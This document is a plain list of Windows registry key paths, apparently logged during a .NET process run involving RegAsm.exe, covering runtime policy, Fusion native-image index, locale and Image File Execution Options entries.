HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\NGen\Policy\v4.0
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Servicing
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index21
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 024
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance\Disabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\FORCE_ASSEMREF_DUPCHECK
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NicPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\RegistryRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath2
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v2.0.50727
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\AppPatch
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000\mscorwks.dll
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegAsm.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\Internet
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\LocalIntranet
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v2.0.50727\Security\Policy
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\GACChangeNotification\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5aa75839\10fdf3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions\mscorjit.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions\System.ni.dll
